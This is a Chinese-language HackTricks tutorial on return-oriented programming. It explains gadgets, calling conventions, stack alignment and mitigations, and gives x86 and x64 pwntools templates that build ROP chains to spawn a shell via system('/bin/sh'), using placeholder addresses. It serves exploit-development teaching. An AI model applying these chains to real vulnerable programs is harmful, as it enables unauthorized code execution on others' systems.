ROP - Return Oriented Programing
Reading time: 12 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
返回导向编程 (ROP) 是一种高级利用技术,用于绕过 无执行 (NX) 或 数据执行防护 (DEP) 等安全措施。攻击者利用二进制文件或已加载库中已经存在的代码片段,称为 "gadgets",而不是注入和执行 shellcode。每个 gadget 通常以 ret
指令结束,并执行小的操作,例如在寄存器之间移动数据或执行算术运算。通过将这些 gadgets 链接在一起,攻击者可以构造一个有效的有效负载,以执行任意操作,从而有效绕过 NX/DEP 保护。
ROP 的工作原理
- 控制流劫持:首先,攻击者需要劫持程序的控制流,通常通过利用缓冲区溢出来覆盖栈上的保存返回地址。
- Gadget 链接:攻击者然后仔细选择并链接 gadgets 以执行所需的操作。这可能涉及设置函数调用的参数、调用函数(例如
system("/bin/sh")
)以及处理任何必要的清理或附加操作。 - 有效负载执行:当易受攻击的函数返回时,而不是返回到合法位置,它开始执行 gadget 链。
工具
通常,可以使用 ROPgadget、ropper 或直接从 pwntools (ROP) 找到 gadgets。
x86 示例中的 ROP 链
x86 (32位) 调用约定
- cdecl:调用者清理栈。函数参数以相反的顺序(从右到左)推入栈中。参数从右到左推入栈中。
- stdcall:与 cdecl 类似,但被调用者负责清理栈。
查找 Gadgets
首先,假设我们已经在二进制文件或其加载的库中识别了必要的 gadgets。我们感兴趣的 gadgets 包括:
pop eax; ret
:此 gadget 将栈顶值弹出到EAX
寄存器中,然后返回,允许我们控制EAX
。pop ebx; ret
:与上述类似,但针对EBX
寄存器,使我们能够控制EBX
。mov [ebx], eax; ret
:将EAX
中的值移动到EBX
指向的内存位置,然后返回。这通常被称为 write-what-where gadget。- 此外,我们还有
system()
函数的地址可用。
ROP 链
使用 pwntools,我们准备栈以执行 ROP 链,目标是执行 system('/bin/sh')
,注意链的开始:
- 用于对齐目的的
ret
指令(可选) system
函数的地址(假设 ASLR 被禁用且已知 libc,更多信息见 Ret2lib)system()
的返回地址占位符"/bin/sh"
字符串地址(system 函数的参数)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Chain in x64 Example
x64 (64-bit) 调用约定
- 在类Unix系统上使用 System V AMD64 ABI 调用约定,其中 前六个整数或指针参数通过寄存器
RDI
,RSI
,RDX
,RCX
,R8
和R9
传递。额外的参数通过栈传递。返回值放在RAX
中。 - Windows x64 调用约定使用
RCX
,RDX
,R8
和R9
作为前四个整数或指针参数,额外的参数通过栈传递。返回值放在RAX
中。 - 寄存器:64位寄存器包括
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
和R8
到R15
。
查找小工具
为了我们的目的,让我们专注于可以让我们设置 RDI 寄存器(将 "/bin/sh" 字符串作为参数传递给 system())并调用 system() 函数的小工具。我们假设我们已经识别出以下小工具:
- pop rdi; ret: 将栈顶值弹出到 RDI 中,然后返回。对于设置 system() 的参数至关重要。
- ret: 一个简单的返回,在某些场景中对栈对齐很有用。
我们知道 system() 函数的地址。
ROP Chain
下面是一个使用 pwntools 设置和执行 ROP 链的示例,旨在执行 system('/bin/sh') 在 x64 上:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
在这个例子中:
- 我们利用
pop rdi; ret
gadget 将RDI
设置为"/bin/sh"
的地址。 - 在设置
RDI
后,我们直接跳转到system()
,链中包含 system() 的地址。 - 如果目标环境需要,使用
ret_gadget
进行对齐,这在 x64 中更为常见,以确保在调用函数之前正确对齐栈。
栈对齐
x86-64 ABI 确保在执行 call instruction 时 栈是16字节对齐 的。LIBC 为了优化性能,使用 SSE 指令(如 movaps),这需要这种对齐。如果栈没有正确对齐(意味着 RSP 不是16的倍数),对像 system 这样的函数的调用将在 ROP chain 中失败。要解决此问题,只需在调用 system 之前在 ROP chain 中添加一个 ret gadget。
x86 与 x64 的主要区别
tip
由于 x64 使用寄存器处理前几个参数, 它通常需要比 x86 更少的 gadgets 来进行简单的函数调用,但由于寄存器数量的增加和地址空间的扩大,找到和链接正确的 gadgets 可能会更复杂。x64 架构中寄存器数量的增加和地址空间的扩大为漏洞开发提供了机遇和挑战,特别是在返回导向编程(ROP)的背景下。
ARM64 示例中的 ROP chain
ARM64 基础与调用约定
请查看以下页面以获取此信息:
针对 ROP 的保护措施
- ASLR & PIE:这些保护措施使得 ROP 的使用变得更加困难,因为 gadgets 的地址在执行之间会发生变化。
- Stack Canaries:在发生 BOF 时,需要绕过存储的栈金丝雀以覆盖返回指针,从而滥用 ROP chain。
- 缺乏 Gadgets:如果没有足够的 gadgets,就无法生成 ROP chain。
基于 ROP 的技术
请注意,ROP 只是执行任意代码的一种技术。基于 ROP 开发了许多 Ret2XXX 技术:
- Ret2lib:使用 ROP 从加载的库中调用任意函数,带有任意参数(通常是类似
system('/bin/sh')
的东西)。
- Ret2Syscall:使用 ROP 准备对 syscall 的调用,例如
execve
,并使其执行任意命令。
- EBP2Ret & EBP Chaining:第一个将滥用 EBP 而不是 EIP 来控制流程,第二个类似于 Ret2lib,但在这种情况下,流程主要通过 EBP 地址控制(尽管也需要控制 EIP)。
Stack Pivoting - EBP2Ret - EBP chaining
其他示例与参考
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 位,启用 Pie 和 nx,无金丝雀,用
vsyscall
地址覆盖 RIP,唯一目的是返回栈中的下一个地址,这将是对地址的部分覆盖,以获取泄漏标志的函数部分 - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64,无 ASLR,ROP gadget 使栈可执行并跳转到栈中的 shellcode
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。